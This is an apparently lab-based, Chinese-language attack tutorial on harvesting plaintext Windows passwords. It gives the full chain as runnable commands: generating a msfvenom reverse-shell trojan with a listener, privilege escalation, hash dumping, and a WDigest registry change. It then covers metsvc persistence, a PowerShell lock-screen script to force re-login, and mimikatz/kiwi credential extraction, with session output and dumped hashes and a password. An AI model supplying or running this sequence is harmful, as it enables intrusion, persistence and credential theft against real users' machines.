抓取 Windows 明文密码
思路
在安装了KB2871997补丁的系统以及 WIN10 或 WIN 2012以上, 默认不在内存中保存明文密码
-
生成木马, 让目标中马
-
控制目标机并提权
-
修改注册表, 使其能够在内存中保存明文密码
-
让目标重新登录
这里涉及到一个问题, 在目标登录后如何连接上木马程序, 有两种方式:
- 权限维持
- 获取hash 进行 PTH 攻击
或者可以只锁屏
-
使用密码获取工具, 如 mimikatz 获取明文密码
实例模拟
此处使用 msf
msf 下载地址: https://github.com/rapid7/metasploit-framework
生成木马
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.10.151 LPORT=8888 -f exe -o shell.exe
监听 shell
# 进入交互控制台
msfconsole
# 使用模块
use exploit/multi/handler
# 设置 payload
set payload windows/meterpreter/reverse_tcp
# 设置监听地址
set LHOST 192.168.10.151
# 设置监听端口
set LPORT 8888
# 开启监听
run
当目标运行了木马程序后连接成功:
[*] Started reverse TCP handler on 192.168.10.151:8888
[*] Sending stage (176198 bytes) to 192.168.10.162
[*] Meterpreter session 1 opened (192.168.10.151:8888 -> 192.168.10.162:59578) at 2024-06-08 22:54:22 +0800
提权
# 迁移
mgrate 3776
# 提权
getsystem
顺利提权
获取 hash
首先获取 hash
hashdump
结果:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
defaultuser0:1000:aad3b435b51404eeaad3b435b51404ee:5ac8a84689a5e594cc9089ed2dfd66f3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pc1:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cee85b9a88daf1a0cf152a44e1aaacc6:::
修改注册表
首先修改目标机的注册表, 让其可以保存明文密码
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
接下来就需要目标机重启或者重新登录, 来让其密码保存到内存中, 再进行抓取
重新登录就需要考虑如何再次连上目标机, 有两种方式可供选择:
- 通过上面获取的 hash, 进行 PTH 攻击
- 使用 msf 自带的权限维持
这里介绍自启动
权限维持
因为要关机或是重新登录操作, 要确保木马程序开机自启动
run metsvc -A
获取明文密码
首先编写一个进本
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
上传脚本并运行:
# 上传准备好的锁屏脚本
upload lock.ps1 C:\\
# 运行脚本
powershell -ExecutionPolicy Bypass -file C:\\lock.ps1
接下来就是等待目标重新登录
目标重新登录后回到 msf 的监听中
# 加载 kiwi
load kiwi
# 获取所有密码
creds_all
密码如下:
===============
Username Domain NTLM SHA1 DPAPI
-------- ------ ---- ---- -----
pc1 DESKTOP-VLDCMVN 32ed87bdb5fdc5e9cba88547376818d4 6ed5833cf35286ebf8662b7b5949f0d742bbec3f 6ed5833cf35286ebf8662b7b5949f0d7
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
DESKTOP-VLDCMVN$ WORKGROUP (null)
pc1 DESKTOP-VLDCMVN 123456
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
desktop-vldcmvn$ WORKGROUP (null)
pc1 DESKTOP-VLDCMVN (null)